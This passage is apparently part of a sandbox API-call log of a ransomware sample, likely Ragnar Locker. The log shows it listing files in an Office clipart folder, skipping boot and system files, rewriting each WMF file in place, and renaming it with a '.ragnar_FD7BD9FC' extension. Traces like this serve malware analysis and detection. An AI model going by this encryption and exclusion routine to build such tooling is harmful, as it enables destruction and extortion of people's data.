(lpString1=".WMF", lpString2=".db") returned 1 [0080.380] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.380] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.380] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.380] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.380] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.381] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.381] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x20 [0080.381] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.381] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9304) returned 1 [0080.381] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x244f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.381] GetProcessHeap () returned 0x580000 [0080.381] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.381] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2458, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.383] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.383] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2458, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2458, lpOverlapped=0x0) returned 1 [0080.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.384] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2458, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.384] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2458, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2458, lpOverlapped=0x0) returned 1 [0080.384] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2458, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.384] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.384] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2458, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.384] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.384] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.384] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.384] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.385] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.385] GetProcessHeap () returned 0x580000 [0080.385] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.385] CloseHandle (hObject=0xf4) returned 1 [0080.385] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" [0080.385] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.ragnar_FD7BD9FC" [0080.385] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00234_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00234_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.385] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9438d00, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9438d00, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0xfb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00242_.WMF", cAlternateFileName="")) returned 1 [0080.386] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.386] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00242_.WMF" | out: lpString1="BL00242_.WMF") returned="BL00242_.WMF" [0080.386] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned=".WMF" [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="autorun.inf") returned 1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="boot.ini") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="bootfont.bin") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="bootsect.bak") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="bootmgr") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="bootmgr.efi") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="desktop.ini") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="iconcache.db") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="ntldr") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="ntuser.dat") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="ntuser.ini") returned -1 [0080.386] lstrcmpiW (lpString1="BL00242_.WMF", lpString2="thumbs.db") returned -1 [0080.386] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.386] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.386] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.386] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.386] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.386] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.386] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.386] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x20 [0080.387] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.387] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4024) returned 1 [0080.387] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfaf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.387] GetProcessHeap () returned 0x580000 [0080.387] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.387] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.389] VirtualAlloc (lpAddress=0x0, dwSize=0xfb8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.389] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.389] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.389] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xfb8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xfb8, lpOverlapped=0x0) returned 1 [0080.389] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.389] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfb8, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.389] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xfb8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xfb8, lpOverlapped=0x0) returned 1 [0080.389] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.389] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.390] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xfb8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.390] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.390] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.390] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.390] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.390] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.390] GetProcessHeap () returned 0x580000 [0080.390] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.390] CloseHandle (hObject=0xf4) returned 1 [0080.390] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" [0080.390] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.ragnar_FD7BD9FC" [0080.390] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.391] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5124300, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5124300, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00247_.WMF", cAlternateFileName="")) returned 1 [0080.391] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.391] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00247_.WMF" | out: lpString1="BL00247_.WMF") returned="BL00247_.WMF" [0080.391] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned=".WMF" [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="autorun.inf") returned 1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="boot.ini") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="bootfont.bin") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="bootsect.bak") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="bootmgr") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="bootmgr.efi") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="desktop.ini") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="iconcache.db") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="ntldr") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="ntuser.dat") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="ntuser.ini") returned -1 [0080.391] lstrcmpiW (lpString1="BL00247_.WMF", lpString2="thumbs.db") returned -1 [0080.391] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.391] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.391] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.391] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.391] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.392] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.392] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.392] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf")) returned 0x20 [0080.392] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.392] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14444) returned 1 [0080.392] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3863, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.393] GetProcessHeap () returned 0x580000 [0080.393] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.393] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.396] VirtualAlloc (lpAddress=0x0, dwSize=0x386c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.396] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.396] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.396] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x386c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x386c, lpOverlapped=0x0) returned 1 [0080.397] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.397] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x386c, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.397] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x386c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x386c, lpOverlapped=0x0) returned 1 [0080.397] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x386c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.397] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.398] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x386c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.398] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.398] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.398] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.398] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.398] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.398] GetProcessHeap () returned 0x580000 [0080.398] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.398] CloseHandle (hObject=0xf4) returned 1 [0080.398] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" [0080.398] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.ragnar_FD7BD9FC" [0080.398] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.399] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b9eb00, ftCreationTime.dwHighDateTime=0x1bd4b2e, ftLastAccessTime.dwLowDateTime=0x5f6dd090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b9eb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2e, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="BL00248_.WMF", cAlternateFileName="")) returned 1 [0080.399] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.399] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BL00248_.WMF" | out: lpString1="BL00248_.WMF") returned="BL00248_.WMF" [0080.399] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned=".WMF" [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="autorun.inf") returned 1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="boot.ini") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="bootfont.bin") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="bootsect.bak") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="bootmgr") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="bootmgr.efi") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="bootmgfw.efi") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="desktop.ini") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="iconcache.db") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="ntldr") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="ntuser.dat") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="ntuser.ini") returned -1 [0080.399] lstrcmpiW (lpString1="BL00248_.WMF", lpString2="thumbs.db") returned -1 [0080.399] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.399] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.399] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.399] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.399] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.400] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.400] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.400] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0080.400] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft 